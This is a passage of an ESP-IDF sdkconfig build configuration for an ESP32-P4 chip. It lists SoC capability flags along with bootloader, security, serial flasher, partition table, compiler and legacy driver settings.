CONFIG_SOC_ISP_SHARPEN_H_FREQ_COEF_RES_BITS=24
CONFIG_SOC_ISP_SHARPEN_M_FREQ_COEF_INT_BITS=3
CONFIG_SOC_ISP_SHARPEN_M_FREQ_COEF_DEC_BITS=5
CONFIG_SOC_ISP_SHARPEN_M_FREQ_COEF_RES_BITS=24
CONFIG_SOC_ISP_HIST_CTLR_NUMS=1
CONFIG_SOC_ISP_HIST_BLOCK_X_NUMS=5
CONFIG_SOC_ISP_HIST_BLOCK_Y_NUMS=5
CONFIG_SOC_ISP_HIST_SEGMENT_NUMS=16
CONFIG_SOC_ISP_HIST_INTERVAL_NUMS=15
CONFIG_SOC_ISP_LSC_GRAD_RATIO_INT_BITS=2
CONFIG_SOC_ISP_LSC_GRAD_RATIO_DEC_BITS=8
CONFIG_SOC_ISP_LSC_GRAD_RATIO_RES_BITS=22
CONFIG_SOC_LEDC_SUPPORT_PLL_DIV_CLOCK=y
CONFIG_SOC_LEDC_SUPPORT_XTAL_CLOCK=y
CONFIG_SOC_LEDC_TIMER_NUM=4
CONFIG_SOC_LEDC_CHANNEL_NUM=8
CONFIG_SOC_LEDC_TIMER_BIT_WIDTH=20
CONFIG_SOC_LEDC_GAMMA_CURVE_FADE_SUPPORTED=y
CONFIG_SOC_LEDC_GAMMA_CURVE_FADE_RANGE_MAX=16
CONFIG_SOC_LEDC_SUPPORT_FADE_STOP=y
CONFIG_SOC_LEDC_FADE_PARAMS_BIT_WIDTH=10
CONFIG_SOC_LEDC_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_MMU_PERIPH_NUM=2
CONFIG_SOC_MMU_LINEAR_ADDRESS_REGION_NUM=2
CONFIG_SOC_MMU_DI_VADDR_SHARED=y
CONFIG_SOC_MMU_PER_EXT_MEM_TARGET=y
CONFIG_SOC_MPU_MIN_REGION_SIZE=0x20000000
CONFIG_SOC_MPU_REGIONS_MAX_NUM=8
CONFIG_SOC_PCNT_GROUPS=1
CONFIG_SOC_PCNT_UNITS_PER_GROUP=4
CONFIG_SOC_PCNT_CHANNELS_PER_UNIT=2
CONFIG_SOC_PCNT_THRES_POINT_PER_UNIT=2
CONFIG_SOC_PCNT_SUPPORT_RUNTIME_THRES_UPDATE=y
CONFIG_SOC_PCNT_SUPPORT_CLEAR_SIGNAL=y
CONFIG_SOC_RMT_GROUPS=1
CONFIG_SOC_RMT_TX_CANDIDATES_PER_GROUP=4
CONFIG_SOC_RMT_RX_CANDIDATES_PER_GROUP=4
CONFIG_SOC_RMT_CHANNELS_PER_GROUP=8
CONFIG_SOC_RMT_MEM_WORDS_PER_CHANNEL=48
CONFIG_SOC_RMT_SUPPORT_RX_PINGPONG=y
CONFIG_SOC_RMT_SUPPORT_RX_DEMODULATION=y
CONFIG_SOC_RMT_SUPPORT_TX_ASYNC_STOP=y
CONFIG_SOC_RMT_SUPPORT_TX_LOOP_COUNT=y
CONFIG_SOC_RMT_SUPPORT_TX_LOOP_AUTO_STOP=y
CONFIG_SOC_RMT_SUPPORT_TX_SYNCHRO=y
CONFIG_SOC_RMT_SUPPORT_TX_CARRIER_DATA_ONLY=y
CONFIG_SOC_RMT_SUPPORT_XTAL=y
CONFIG_SOC_RMT_SUPPORT_RC_FAST=y
CONFIG_SOC_RMT_SUPPORT_DMA=y
CONFIG_SOC_RMT_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_LCD_I80_SUPPORTED=y
CONFIG_SOC_LCD_RGB_SUPPORTED=y
CONFIG_SOC_LCDCAM_I80_NUM_BUSES=1
CONFIG_SOC_LCDCAM_I80_BUS_WIDTH=24
CONFIG_SOC_LCDCAM_RGB_NUM_PANELS=1
CONFIG_SOC_LCDCAM_RGB_DATA_WIDTH=24
CONFIG_SOC_LCD_SUPPORT_RGB_YUV_CONV=y
CONFIG_SOC_MCPWM_GROUPS=2
CONFIG_SOC_MCPWM_TIMERS_PER_GROUP=3
CONFIG_SOC_MCPWM_OPERATORS_PER_GROUP=3
CONFIG_SOC_MCPWM_COMPARATORS_PER_OPERATOR=2
CONFIG_SOC_MCPWM_EVENT_COMPARATORS_PER_OPERATOR=2
CONFIG_SOC_MCPWM_GENERATORS_PER_OPERATOR=2
CONFIG_SOC_MCPWM_TRIGGERS_PER_OPERATOR=2
CONFIG_SOC_MCPWM_GPIO_FAULTS_PER_GROUP=3
CONFIG_SOC_MCPWM_CAPTURE_TIMERS_PER_GROUP=y
CONFIG_SOC_MCPWM_CAPTURE_CHANNELS_PER_TIMER=3
CONFIG_SOC_MCPWM_GPIO_SYNCHROS_PER_GROUP=3
CONFIG_SOC_MCPWM_SWSYNC_CAN_PROPAGATE=y
CONFIG_SOC_MCPWM_SUPPORT_ETM=y
CONFIG_SOC_MCPWM_SUPPORT_EVENT_COMPARATOR=y
CONFIG_SOC_MCPWM_CAPTURE_CLK_FROM_GROUP=y
CONFIG_SOC_USB_OTG_PERIPH_NUM=2
CONFIG_SOC_USB_UTMI_PHY_NUM=1
CONFIG_SOC_PARLIO_GROUPS=1
CONFIG_SOC_PARLIO_TX_UNITS_PER_GROUP=1
CONFIG_SOC_PARLIO_RX_UNITS_PER_GROUP=1
CONFIG_SOC_PARLIO_TX_UNIT_MAX_DATA_WIDTH=16
CONFIG_SOC_PARLIO_RX_UNIT_MAX_DATA_WIDTH=16
CONFIG_SOC_PARLIO_TX_CLK_SUPPORT_GATING=y
CONFIG_SOC_PARLIO_RX_CLK_SUPPORT_GATING=y
CONFIG_SOC_PARLIO_RX_CLK_SUPPORT_OUTPUT=y
CONFIG_SOC_PARLIO_TRANS_BIT_ALIGN=y
CONFIG_SOC_PARLIO_TX_SIZE_BY_DMA=y
CONFIG_SOC_PARLIO_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_MPI_MEM_BLOCKS_NUM=4
CONFIG_SOC_MPI_OPERATIONS_NUM=3
CONFIG_SOC_RSA_MAX_BIT_LEN=4096
CONFIG_SOC_SDMMC_USE_IOMUX=y
CONFIG_SOC_SDMMC_USE_GPIO_MATRIX=y
CONFIG_SOC_SDMMC_NUM_SLOTS=2
CONFIG_SOC_SDMMC_DELAY_PHASE_NUM=4
CONFIG_SOC_SDMMC_IO_POWER_EXTERNAL=y
CONFIG_SOC_SDMMC_PSRAM_DMA_CAPABLE=y
CONFIG_SOC_SDMMC_UHS_I_SUPPORTED=y
CONFIG_SOC_SHA_DMA_MAX_BUFFER_SIZE=3968
CONFIG_SOC_SHA_SUPPORT_DMA=y
CONFIG_SOC_SHA_SUPPORT_RESUME=y
CONFIG_SOC_SHA_GDMA=y
CONFIG_SOC_SHA_SUPPORT_SHA1=y
CONFIG_SOC_SHA_SUPPORT_SHA224=y
CONFIG_SOC_SHA_SUPPORT_SHA256=y
CONFIG_SOC_SHA_SUPPORT_SHA384=y
CONFIG_SOC_SHA_SUPPORT_SHA512=y
CONFIG_SOC_SHA_SUPPORT_SHA512_224=y
CONFIG_SOC_SHA_SUPPORT_SHA512_256=y
CONFIG_SOC_SHA_SUPPORT_SHA512_T=y
CONFIG_SOC_ECDSA_SUPPORT_EXPORT_PUBKEY=y
CONFIG_SOC_ECDSA_SUPPORT_DETERMINISTIC_MODE=y
CONFIG_SOC_ECDSA_USES_MPI=y
CONFIG_SOC_SDM_GROUPS=1
CONFIG_SOC_SDM_CHANNELS_PER_GROUP=8
CONFIG_SOC_SDM_CLK_SUPPORT_PLL_F80M=y
CONFIG_SOC_SDM_CLK_SUPPORT_XTAL=y
CONFIG_SOC_SPI_PERIPH_NUM=3
CONFIG_SOC_SPI_MAX_CS_NUM=6
CONFIG_SOC_SPI_MAXIMUM_BUFFER_SIZE=64
CONFIG_SOC_SPI_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_SPI_SUPPORT_SLAVE_HD_VER2=y
CONFIG_SOC_SPI_SLAVE_SUPPORT_SEG_TRANS=y
CONFIG_SOC_SPI_SUPPORT_DDRCLK=y
CONFIG_SOC_SPI_SUPPORT_CD_SIG=y
CONFIG_SOC_SPI_SUPPORT_OCT=y
CONFIG_SOC_SPI_SUPPORT_CLK_XTAL=y
CONFIG_SOC_SPI_SUPPORT_CLK_RC_FAST=y
CONFIG_SOC_SPI_SUPPORT_CLK_SPLL=y
CONFIG_SOC_MEMSPI_IS_INDEPENDENT=y
CONFIG_SOC_SPI_MAX_PRE_DIVIDER=16
CONFIG_SOC_LP_SPI_PERIPH_NUM=y
CONFIG_SOC_LP_SPI_MAXIMUM_BUFFER_SIZE=64
CONFIG_SOC_SPIRAM_XIP_SUPPORTED=y
CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_WAIT_IDLE=y
CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_SUSPEND=y
CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_RESUME=y
CONFIG_SOC_SPI_MEM_SUPPORT_IDLE_INTR=y
CONFIG_SOC_SPI_MEM_SUPPORT_SW_SUSPEND=y
CONFIG_SOC_SPI_MEM_SUPPORT_CHECK_SUS=y
CONFIG_SOC_SPI_MEM_SUPPORT_TIMING_TUNING=y
CONFIG_SOC_MEMSPI_TIMING_TUNING_BY_DQS=y
CONFIG_SOC_SPI_MEM_SUPPORT_CACHE_32BIT_ADDR_MAP=y
CONFIG_SOC_SPI_PERIPH_SUPPORT_CONTROL_DUMMY_OUT=y
CONFIG_SOC_MEMSPI_SRC_FREQ_80M_SUPPORTED=y
CONFIG_SOC_MEMSPI_SRC_FREQ_40M_SUPPORTED=y
CONFIG_SOC_MEMSPI_SRC_FREQ_20M_SUPPORTED=y
CONFIG_SOC_MEMSPI_FLASH_PSRAM_INDEPENDENT=y
CONFIG_SOC_SYSTIMER_COUNTER_NUM=2
CONFIG_SOC_SYSTIMER_ALARM_NUM=3
CONFIG_SOC_SYSTIMER_BIT_WIDTH_LO=32
CONFIG_SOC_SYSTIMER_BIT_WIDTH_HI=20
CONFIG_SOC_SYSTIMER_FIXED_DIVIDER=y
CONFIG_SOC_SYSTIMER_SUPPORT_RC_FAST=y
CONFIG_SOC_SYSTIMER_INT_LEVEL=y
CONFIG_SOC_SYSTIMER_ALARM_MISS_COMPENSATE=y
CONFIG_SOC_SYSTIMER_SUPPORT_ETM=y
CONFIG_SOC_LP_TIMER_BIT_WIDTH_LO=32
CONFIG_SOC_LP_TIMER_BIT_WIDTH_HI=16
CONFIG_SOC_TIMER_GROUPS=2
CONFIG_SOC_TIMER_GROUP_TIMERS_PER_GROUP=2
CONFIG_SOC_TIMER_GROUP_COUNTER_BIT_WIDTH=54
CONFIG_SOC_TIMER_GROUP_SUPPORT_XTAL=y
CONFIG_SOC_TIMER_GROUP_SUPPORT_RC_FAST=y
CONFIG_SOC_TIMER_GROUP_TOTAL_TIMERS=4
CONFIG_SOC_TIMER_SUPPORT_ETM=y
CONFIG_SOC_TIMER_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_MWDT_SUPPORT_XTAL=y
CONFIG_SOC_MWDT_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_TOUCH_SENSOR_VERSION=3
CONFIG_SOC_TOUCH_SENSOR_NUM=14
CONFIG_SOC_TOUCH_SUPPORT_SLEEP_WAKEUP=y
CONFIG_SOC_TOUCH_SUPPORT_WATERPROOF=y
CONFIG_SOC_TOUCH_SUPPORT_PROX_SENSING=y
CONFIG_SOC_TOUCH_PROXIMITY_CHANNEL_NUM=3
CONFIG_SOC_TOUCH_PROXIMITY_MEAS_DONE_SUPPORTED=y
CONFIG_SOC_TOUCH_SUPPORT_FREQ_HOP=y
CONFIG_SOC_TOUCH_SAMPLE_CFG_NUM=3
CONFIG_SOC_TWAI_CONTROLLER_NUM=3
CONFIG_SOC_TWAI_CLK_SUPPORT_XTAL=y
CONFIG_SOC_TWAI_BRP_MIN=2
CONFIG_SOC_TWAI_BRP_MAX=32768
CONFIG_SOC_TWAI_SUPPORTS_RX_STATUS=y
CONFIG_SOC_TWAI_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_EFUSE_DIS_PAD_JTAG=y
CONFIG_SOC_EFUSE_DIS_USB_JTAG=y
CONFIG_SOC_EFUSE_DIS_DIRECT_BOOT=y
CONFIG_SOC_EFUSE_SOFT_DIS_JTAG=y
CONFIG_SOC_EFUSE_DIS_DOWNLOAD_MSPI=y
CONFIG_SOC_EFUSE_ECDSA_KEY=y
CONFIG_SOC_KEY_MANAGER_ECDSA_KEY_DEPLOY=y
CONFIG_SOC_KEY_MANAGER_FE_KEY_DEPLOY=y
CONFIG_SOC_SECURE_BOOT_V2_RSA=y
CONFIG_SOC_SECURE_BOOT_V2_ECC=y
CONFIG_SOC_EFUSE_SECURE_BOOT_KEY_DIGESTS=3
CONFIG_SOC_EFUSE_REVOKE_BOOT_KEY_DIGESTS=y
CONFIG_SOC_SUPPORT_SECURE_BOOT_REVOKE_KEY=y
CONFIG_SOC_FLASH_ENCRYPTED_XTS_AES_BLOCK_MAX=64
CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES=y
CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_OPTIONS=y
CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_128=y
CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_256=y
CONFIG_SOC_UART_NUM=6
CONFIG_SOC_UART_HP_NUM=5
CONFIG_SOC_UART_LP_NUM=1
CONFIG_SOC_UART_FIFO_LEN=128
CONFIG_SOC_LP_UART_FIFO_LEN=16
CONFIG_SOC_UART_BITRATE_MAX=5000000
CONFIG_SOC_UART_SUPPORT_PLL_F80M_CLK=y
CONFIG_SOC_UART_SUPPORT_RTC_CLK=y
CONFIG_SOC_UART_SUPPORT_XTAL_CLK=y
CONFIG_SOC_UART_SUPPORT_WAKEUP_INT=y
CONFIG_SOC_UART_HAS_LP_UART=y
CONFIG_SOC_UART_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_UART_SUPPORT_FSM_TX_WAIT_SEND=y
CONFIG_SOC_LP_I2S_SUPPORT_VAD=y
CONFIG_SOC_COEX_HW_PTI=y
CONFIG_SOC_PHY_DIG_REGS_MEM_SIZE=21
CONFIG_SOC_WIFI_LIGHT_SLEEP_CLK_WIDTH=12
CONFIG_SOC_PM_SUPPORT_EXT1_WAKEUP=y
CONFIG_SOC_PM_SUPPORT_EXT1_WAKEUP_MODE_PER_PIN=y
CONFIG_SOC_PM_EXT1_WAKEUP_BY_PMU=y
CONFIG_SOC_PM_SUPPORT_WIFI_WAKEUP=y
CONFIG_SOC_PM_SUPPORT_TOUCH_SENSOR_WAKEUP=y
CONFIG_SOC_PM_SUPPORT_XTAL32K_PD=y
CONFIG_SOC_PM_SUPPORT_RC32K_PD=y
CONFIG_SOC_PM_SUPPORT_RC_FAST_PD=y
CONFIG_SOC_PM_SUPPORT_VDDSDIO_PD=y
CONFIG_SOC_PM_SUPPORT_TOP_PD=y
CONFIG_SOC_PM_SUPPORT_CNNT_PD=y
CONFIG_SOC_PM_SUPPORT_RTC_PERIPH_PD=y
CONFIG_SOC_PM_SUPPORT_DEEPSLEEP_CHECK_STUB_ONLY=y
CONFIG_SOC_PM_CPU_RETENTION_BY_SW=y
CONFIG_SOC_PM_PAU_LINK_NUM=4
CONFIG_SOC_PM_PAU_REGDMA_LINK_MULTI_ADDR=y
CONFIG_SOC_PAU_IN_TOP_DOMAIN=y
CONFIG_SOC_CPU_IN_TOP_DOMAIN=y
CONFIG_SOC_PM_PAU_REGDMA_UPDATE_CACHE_BEFORE_WAIT_COMPARE=y
CONFIG_SOC_SLEEP_SYSTIMER_STALL_WORKAROUND=y
CONFIG_SOC_SLEEP_TGWDT_STOP_WORKAROUND=y
CONFIG_SOC_PM_RETENTION_MODULE_NUM=64
CONFIG_SOC_PSRAM_VDD_POWER_MPLL=y
CONFIG_SOC_CLK_RC_FAST_SUPPORT_CALIBRATION=y
CONFIG_SOC_CLK_APLL_SUPPORTED=y
CONFIG_SOC_CLK_MPLL_SUPPORTED=y
CONFIG_SOC_CLK_SDIO_PLL_SUPPORTED=y
CONFIG_SOC_CLK_XTAL32K_SUPPORTED=y
CONFIG_SOC_CLK_RC32K_SUPPORTED=y
CONFIG_SOC_CLK_LP_FAST_SUPPORT_LP_PLL=y
CONFIG_SOC_CLK_LP_FAST_SUPPORT_XTAL=y
CONFIG_SOC_PERIPH_CLK_CTRL_SHARED=y
CONFIG_SOC_TEMPERATURE_SENSOR_LP_PLL_SUPPORT=y
CONFIG_SOC_TEMPERATURE_SENSOR_INTR_SUPPORT=y
CONFIG_SOC_TSENS_IS_INDEPENDENT_FROM_ADC=y
CONFIG_SOC_TEMPERATURE_SENSOR_SUPPORT_ETM=y
CONFIG_SOC_TEMPERATURE_SENSOR_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_MEM_TCM_SUPPORTED=y
CONFIG_SOC_MEM_NON_CONTIGUOUS_SRAM=y
CONFIG_SOC_ASYNCHRONOUS_BUS_ERROR_MODE=y
CONFIG_SOC_EMAC_IEEE_1588_SUPPORT=y
CONFIG_SOC_EMAC_USE_MULTI_IO_MUX=y
CONFIG_SOC_EMAC_MII_USE_GPIO_MATRIX=y
CONFIG_SOC_JPEG_CODEC_SUPPORTED=y
CONFIG_SOC_JPEG_DECODE_SUPPORTED=y
CONFIG_SOC_JPEG_ENCODE_SUPPORTED=y
CONFIG_SOC_LCDCAM_CAM_SUPPORT_RGB_YUV_CONV=y
CONFIG_SOC_LCDCAM_CAM_PERIPH_NUM=1
CONFIG_SOC_LCDCAM_CAM_DATA_WIDTH_MAX=16
CONFIG_SOC_LP_CORE_SUPPORT_ETM=y
CONFIG_SOC_LP_CORE_SUPPORT_LP_ADC=y
CONFIG_SOC_LP_CORE_SUPPORT_LP_VAD=y
CONFIG_IDF_CMAKE=y
CONFIG_IDF_TOOLCHAIN="gcc"
CONFIG_IDF_TOOLCHAIN_GCC=y
CONFIG_IDF_TARGET_ARCH_RISCV=y
CONFIG_IDF_TARGET_ARCH="riscv"
CONFIG_IDF_TARGET="esp32p4"
CONFIG_IDF_INIT_VERSION="5.4.0"
CONFIG_IDF_TARGET_ESP32P4=y
CONFIG_IDF_FIRMWARE_CHIP_ID=0x0012
#
# Build type
#
CONFIG_APP_BUILD_TYPE_APP_2NDBOOT=y
# CONFIG_APP_BUILD_TYPE_RAM is not set
CONFIG_APP_BUILD_GENERATE_BINARIES=y
CONFIG_APP_BUILD_BOOTLOADER=y
CONFIG_APP_BUILD_USE_FLASH_SECTIONS=y
# CONFIG_APP_REPRODUCIBLE_BUILD is not set
# CONFIG_APP_NO_BLOBS is not set
# end of Build type
#
# Bootloader config
#
#
# Bootloader manager
#
CONFIG_BOOTLOADER_COMPILE_TIME_DATE=y
CONFIG_BOOTLOADER_PROJECT_VER=1
# end of Bootloader manager
CONFIG_BOOTLOADER_OFFSET_IN_FLASH=0x2000
CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_SIZE=y
# CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_DEBUG is not set
# CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_PERF is not set
#
# Log
#
# CONFIG_BOOTLOADER_LOG_LEVEL_NONE is not set
# CONFIG_BOOTLOADER_LOG_LEVEL_ERROR is not set
# CONFIG_BOOTLOADER_LOG_LEVEL_WARN is not set
CONFIG_BOOTLOADER_LOG_LEVEL_INFO=y
# CONFIG_BOOTLOADER_LOG_LEVEL_DEBUG is not set
# CONFIG_BOOTLOADER_LOG_LEVEL_VERBOSE is not set
CONFIG_BOOTLOADER_LOG_LEVEL=3
#
# Format
#
# CONFIG_BOOTLOADER_LOG_COLORS is not set
CONFIG_BOOTLOADER_LOG_TIMESTAMP_SOURCE_CPU_TICKS=y
# end of Format
# end of Log
#
# Serial Flash Configurations
#
# CONFIG_BOOTLOADER_FLASH_DC_AWARE is not set
CONFIG_BOOTLOADER_FLASH_XMC_SUPPORT=y
# end of Serial Flash Configurations
# CONFIG_BOOTLOADER_FACTORY_RESET is not set
# CONFIG_BOOTLOADER_APP_TEST is not set
CONFIG_BOOTLOADER_REGION_PROTECTION_ENABLE=y
CONFIG_BOOTLOADER_WDT_ENABLE=y
# CONFIG_BOOTLOADER_WDT_DISABLE_IN_USER_CODE is not set
CONFIG_BOOTLOADER_WDT_TIME_MS=9000
# CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE is not set
# CONFIG_BOOTLOADER_SKIP_VALIDATE_IN_DEEP_SLEEP is not set
# CONFIG_BOOTLOADER_SKIP_VALIDATE_ON_POWER_ON is not set
# CONFIG_BOOTLOADER_SKIP_VALIDATE_ALWAYS is not set
CONFIG_BOOTLOADER_RESERVE_RTC_SIZE=0
# CONFIG_BOOTLOADER_CUSTOM_RESERVE_RTC is not set
# end of Bootloader config
#
# Security features
#
CONFIG_SECURE_BOOT_V2_RSA_SUPPORTED=y
CONFIG_SECURE_BOOT_V2_ECC_SUPPORTED=y
CONFIG_SECURE_BOOT_V2_PREFERRED=y
# CONFIG_SECURE_SIGNED_APPS_NO_SECURE_BOOT is not set
# CONFIG_SECURE_BOOT is not set
# CONFIG_SECURE_FLASH_ENC_ENABLED is not set
CONFIG_SECURE_ROM_DL_MODE_ENABLED=y
# end of Security features
#
# Application manager
#
CONFIG_APP_COMPILE_TIME_DATE=y
# CONFIG_APP_EXCLUDE_PROJECT_VER_VAR is not set
# CONFIG_APP_EXCLUDE_PROJECT_NAME_VAR is not set
# CONFIG_APP_PROJECT_VER_FROM_CONFIG is not set
CONFIG_APP_RETRIEVE_LEN_ELF_SHA=9
# end of Application manager
CONFIG_ESP_ROM_HAS_CRC_LE=y
CONFIG_ESP_ROM_HAS_CRC_BE=y
CONFIG_ESP_ROM_UART_CLK_IS_XTAL=y
CONFIG_ESP_ROM_USB_SERIAL_DEVICE_NUM=6
CONFIG_ESP_ROM_USB_OTG_NUM=5
CONFIG_ESP_ROM_HAS_RETARGETABLE_LOCKING=y
CONFIG_ESP_ROM_GET_CLK_FREQ=y
CONFIG_ESP_ROM_HAS_RVFPLIB=y
CONFIG_ESP_ROM_HAS_HAL_WDT=y
CONFIG_ESP_ROM_HAS_HAL_SYSTIMER=y
CONFIG_ESP_ROM_HAS_LAYOUT_TABLE=y
CONFIG_ESP_ROM_WDT_INIT_PATCH=y
CONFIG_ESP_ROM_HAS_LP_ROM=y
CONFIG_ESP_ROM_WITHOUT_REGI2C=y
CONFIG_ESP_ROM_HAS_NEWLIB=y
CONFIG_ESP_ROM_HAS_NEWLIB_NANO_FORMAT=y
CONFIG_ESP_ROM_HAS_NEWLIB_NANO_PRINTF_FLOAT_BUG=y
CONFIG_ESP_ROM_HAS_VERSION=y
CONFIG_ESP_ROM_CLIC_INT_TYPE_PATCH=y
CONFIG_ESP_ROM_HAS_OUTPUT_PUTC_FUNC=y
#
# Boot ROM Behavior
#
CONFIG_BOOT_ROM_LOG_ALWAYS_ON=y
# CONFIG_BOOT_ROM_LOG_ALWAYS_OFF is not set
# CONFIG_BOOT_ROM_LOG_ON_GPIO_HIGH is not set
# CONFIG_BOOT_ROM_LOG_ON_GPIO_LOW is not set
# end of Boot ROM Behavior
#
# Serial flasher config
#
# CONFIG_ESPTOOLPY_NO_STUB is not set
CONFIG_ESPTOOLPY_FLASHMODE_QIO=y
# CONFIG_ESPTOOLPY_FLASHMODE_QOUT is not set
# CONFIG_ESPTOOLPY_FLASHMODE_DIO is not set
# CONFIG_ESPTOOLPY_FLASHMODE_DOUT is not set
CONFIG_ESPTOOLPY_FLASH_SAMPLE_MODE_STR=y
CONFIG_ESPTOOLPY_FLASHMODE="dio"
CONFIG_ESPTOOLPY_FLASHFREQ_80M=y
# CONFIG_ESPTOOLPY_FLASHFREQ_40M is not set
# CONFIG_ESPTOOLPY_FLASHFREQ_20M is not set
CONFIG_ESPTOOLPY_FLASHFREQ="80m"
# CONFIG_ESPTOOLPY_FLASHSIZE_1MB is not set
# CONFIG_ESPTOOLPY_FLASHSIZE_2MB is not set
# CONFIG_ESPTOOLPY_FLASHSIZE_4MB is not set
# CONFIG_ESPTOOLPY_FLASHSIZE_8MB is not set
CONFIG_ESPTOOLPY_FLASHSIZE_16MB=y
# CONFIG_ESPTOOLPY_FLASHSIZE_32MB is not set
# CONFIG_ESPTOOLPY_FLASHSIZE_64MB is not set
# CONFIG_ESPTOOLPY_FLASHSIZE_128MB is not set
CONFIG_ESPTOOLPY_FLASHSIZE="16MB"
# CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE is not set
CONFIG_ESPTOOLPY_BEFORE_RESET=y
# CONFIG_ESPTOOLPY_BEFORE_NORESET is not set
CONFIG_ESPTOOLPY_BEFORE="default_reset"
CONFIG_ESPTOOLPY_AFTER_RESET=y
# CONFIG_ESPTOOLPY_AFTER_NORESET is not set
CONFIG_ESPTOOLPY_AFTER="hard_reset"
CONFIG_ESPTOOLPY_MONITOR_BAUD=115200
# end of Serial flasher config
#
# Partition Table
#
# CONFIG_PARTITION_TABLE_SINGLE_APP is not set
# CONFIG_PARTITION_TABLE_SINGLE_APP_LARGE is not set
# CONFIG_PARTITION_TABLE_TWO_OTA is not set
# CONFIG_PARTITION_TABLE_TWO_OTA_LARGE is not set
CONFIG_PARTITION_TABLE_CUSTOM=y
CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv"
CONFIG_PARTITION_TABLE_FILENAME="partitions.csv"
CONFIG_PARTITION_TABLE_OFFSET=0x8000
CONFIG_PARTITION_TABLE_MD5=y
# end of Partition Table
#
# Compiler options
#
# CONFIG_COMPILER_OPTIMIZATION_DEBUG is not set
# CONFIG_COMPILER_OPTIMIZATION_SIZE is not set
CONFIG_COMPILER_OPTIMIZATION_PERF=y
# CONFIG_COMPILER_OPTIMIZATION_NONE is not set
CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE=y
# CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_SILENT is not set
# CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_DISABLE is not set
CONFIG_COMPILER_ASSERT_NDEBUG_EVALUATE=y
# CONFIG_COMPILER_FLOAT_LIB_FROM_GCCLIB is not set
CONFIG_COMPILER_FLOAT_LIB_FROM_RVFPLIB=y
CONFIG_COMPILER_OPTIMIZATION_ASSERTION_LEVEL=2
# CONFIG_COMPILER_OPTIMIZATION_CHECKS_SILENT is not set
CONFIG_COMPILER_HIDE_PATHS_MACROS=y
# CONFIG_COMPILER_CXX_EXCEPTIONS is not set
# CONFIG_COMPILER_CXX_RTTI is not set
CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y
# CONFIG_COMPILER_STACK_CHECK_MODE_NORM is not set
# CONFIG_COMPILER_STACK_CHECK_MODE_STRONG is not set
# CONFIG_COMPILER_STACK_CHECK_MODE_ALL is not set
# CONFIG_COMPILER_NO_MERGE_CONSTANTS is not set
# CONFIG_COMPILER_WARN_WRITE_STRINGS is not set
# CONFIG_COMPILER_SAVE_RESTORE_LIBCALLS is not set
CONFIG_COMPILER_DISABLE_DEFAULT_ERRORS=y
# CONFIG_COMPILER_DISABLE_GCC12_WARNINGS is not set
# CONFIG_COMPILER_DISABLE_GCC13_WARNINGS is not set
# CONFIG_COMPILER_DISABLE_GCC14_WARNINGS is not set
# CONFIG_COMPILER_DUMP_RTL_FILES is not set
CONFIG_COMPILER_RT_LIB_GCCLIB=y
CONFIG_COMPILER_RT_LIB_NAME="gcc"
# CONFIG_COMPILER_ORPHAN_SECTIONS_WARNING is not set
CONFIG_COMPILER_ORPHAN_SECTIONS_PLACE=y
# CONFIG_COMPILER_STATIC_ANALYZER is not set
# end of Compiler options
#
# Component config
#
#
# Application Level Tracing
#
# CONFIG_APPTRACE_DEST_JTAG is not set
CONFIG_APPTRACE_DEST_NONE=y
# CONFIG_APPTRACE_DEST_UART1 is not set
# CONFIG_APPTRACE_DEST_UART2 is not set
CONFIG_APPTRACE_DEST_UART_NONE=y
CONFIG_APPTRACE_UART_TASK_PRIO=1
CONFIG_APPTRACE_LOCK_ENABLE=y
# end of Application Level Tracing
#
# Bluetooth
#
# CONFIG_BT_ENABLED is not set
CONFIG_BT_ALARM_MAX_NUM=50
# end of Bluetooth
#
# Console Library
#
# CONFIG_CONSOLE_SORTED_HELP is not set
# end of Console Library
#
# Driver Configurations
#
#
# TWAI Configuration
#
# CONFIG_TWAI_ISR_IN_IRAM is not set
# end of TWAI Configuration
#
# Legacy ADC Driver Configuration
#
# CONFIG_ADC_SUPPRESS_DEPRECATE_WARN is not set
#
# Legacy ADC Calibration Configuration
#
# CONFIG_ADC_CALI_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy ADC Calibration Configuration
# end of Legacy ADC Driver Configuration
#
# Legacy MCPWM Driver Configurations
#
# CONFIG_MCPWM_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy MCPWM Driver Configurations
#
# Legacy Timer Group Driver Configurations
#
# CONFIG_GPTIMER_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy Timer Group Driver Configurations
#
# Legacy RMT Driver Configurations
#
# CONFIG_RMT_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy RMT Driver Configurations
#
# Legacy I2S Driver Configurations
#
# CONFIG_I2S_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy I2S Driver Configurations
#
# Legacy PCNT Driver Configurations
#
# CONFIG_PCNT_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy PCNT Driver Configurations
#
# Legacy SDM Driver Configurations
#
# CONFIG_SDM_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy SDM Driver Configurations
#
# Legacy Temperature Sensor Driver Configurations
#
# CONFIG_TEMP_SENSOR_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy Temperature Sensor Driver Configurations
